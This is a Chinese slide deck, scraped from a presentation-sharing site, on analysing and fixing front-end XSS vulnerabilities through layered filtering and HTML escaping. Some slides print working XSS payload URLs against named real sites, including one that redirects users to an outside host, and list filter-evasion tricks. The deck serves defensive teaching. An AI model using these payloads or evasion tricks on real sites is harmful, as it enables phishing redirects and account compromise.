1 / 16

前端顽疾

前端顽疾. xss 漏洞分析与解决. 顽疾的诊断 ---- 认清危害. 1 、 XSS 漏洞的危害并不因为页面访问量不高而减少。 2 、 XSS 漏洞等于获得了页面的最高管理权限 3 、 XSS 漏洞无需入侵服务器因而有较高的隐密性 4 、 XSS 漏洞扫描通过不代表就没有 XSS 漏洞 5 、后台 CGI 逐渐成为 XSS 攻击主要目标 备注:黑客攻击手段很多, XSS 主要被用于欺骗用户信任,一旦跳转到黑客页面用户的安全则得不到保障。. 顽疾的诊断 ---- 了解漏洞原理 1. 非持久性 XSS 攻击. 顽疾的诊断 ---- 了解漏洞原理 2.

wattan
Download Presentation

前端顽疾

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. 前端顽疾 xss漏洞分析与解决

  2. 顽疾的诊断----认清危害 1、XSS漏洞的危害并不因为页面访问量不高而减少。2、XSS漏洞等于获得了页面的最高管理权限3、XSS漏洞无需入侵服务器因而有较高的隐密性 4、XSS漏洞扫描通过不代表就没有XSS漏洞 5、后台CGI逐渐成为XSS攻击主要目标 备注:黑客攻击手段很多,XSS主要被用于欺骗用户信任,一旦跳转到黑客页面用户的安全则得不到保障。

  3. 顽疾的诊断----了解漏洞原理1 非持久性XSS 攻击

  4. 顽疾的诊断----了解漏洞原理2 持久性XSS 攻击

  5. 顽疾的诊断----案例分析1 http://member1.taobao.com/member/loginByIm.do?&errurl=http://www.koubei.com/export/cate/getstorecardhtml.html?callback=%3Cscript%3Elocation.href='http://gw.afufwtoin.com/a.taobao.com/tb1.asp?idc=7095';%3C%2Fscript%3E 攻击代码:%3Cscript%3Elocation.href='http://gw.afufwtoin.com/a.taobao.com/tb1.asp?idc=7095';%3C%2Fscript%3E

  6. 顽疾的诊断----案例分析2 1、http://product.tech.qq.com/simp_search.php?locationid=1&subcatid=27&manuid=0&keyword=</script><script>alert(42)</script>&bgcolor=ffffff&status=1 2、http://t.qq.com/p/worldcup?g=1"><script>alert(document.domain)</script> 3、http://t.qq.com/p/city?s=44&c=3"><script>alert(1)</script><" 4、http://help.paipai.com/mutually_help_null.shtml?query=%3Cscript%3Ealert%281%29%3C/script%3E 信息来源:http://wooyun.org/corps/%E8%85%BE%E8%AE%AF

  7. 顽疾的治疗----了解js的执行环境 • document.write “<script>alert('xss')</script>”; • innerHTML= "<script>alert('xss')</script>" 不执行 • 明文出现的"</script>"将结束"<script>",哪怕是在字符串中。 • html标签的 onload,onerror,onchange…… • on    load 中间加入空白字符、特殊字符、换行符依然能够被识别为 onload • JaVaScRiPt 大小写一样能够被执行 • &#0000106,&#x16 等UTF-8字符也可以被转义后执行 • css expression • link,img,style引入非JS后缀的js文件

  8. 顽疾的治疗----层层过滤 • 接收参数时:过滤危险代码、限定可处理参数范围 • 前台提交前:过滤危险代码、对HTML进行转义 • 后台接受后:过滤危险代码、对HTML进行转义 • 后台输出前:过滤危险代码、过滤自定义回调函数名 • 前台输出前:过滤危险代码、避免使用document.write  • 反跳页面:只对可信域和白名单进行跳转

  9. 顽疾的治疗----对症下药 URL参数:不应该带有任何可执行代码,因而强制过滤关键字,对其中符号“+”、“-”、“<”、“>”、“'”、“"”、“/”、“&”、“$”进行转义:encodeURIComponent()说明:escape()不编码的字符:@*/+encodeURI() 不编码的字符: ~!@&;*()=:/,;?+''encodeURIComponent()不编码的字符: ~!*()''

  10. 顽疾的治疗----对症下药 自定义回调函数名: 作为JS自定义回调函数名,只应该包含 英文、数字、符号:“.”、“_”,其余皆为非法字符应予以过滤。  说明: &callback=window.callback1 &callback=window.spuInfoCB &callback=</script><script>alert('xss')</script>

  11. 顽疾的治疗----对症下药 HTML代码过滤: 所有符号应转化为HTML字符实体 说明:

  12. 顽疾的治疗----对症下药 范例: 后台数据: {     nickName:"<u>昊</u>",     uin:"316448" } 模板: <div>     <p>{#nickName#}</p>     <p>{#uin#}</p> </div>

  13. 顽疾的治疗----对症下药 后台数据: {     nickName:"<u>昊</u>",     uin:"316448" } 转化后: {     nickName:"&#60u&#62昊&#60&#47u&#62",     uin:"316448" }

  14. 顽疾的预防----警惕疫区 • 搜索关键词 • 用户昵称 • 富文本编辑器 • url跳转 • cgi自定义回调函数

  15. XSS测试用例分析 http://ha.ckers.org/xss.html

  16. 参考资料 安全漏洞http://wooyun.org/corps/%E8%85%BE%E8%AE%AF XSS测试用例http://ha.ckers.org/xss.html HTML实体表 http://www.w3schools.com/cn/tags/ref_entities.asp

More Related